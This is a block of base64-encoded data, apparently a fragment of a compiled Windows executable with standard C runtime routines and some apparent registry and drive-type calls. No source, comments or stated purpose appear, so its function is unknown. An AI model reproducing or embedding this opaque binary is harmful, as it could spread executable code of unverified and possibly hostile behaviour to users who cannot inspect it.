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 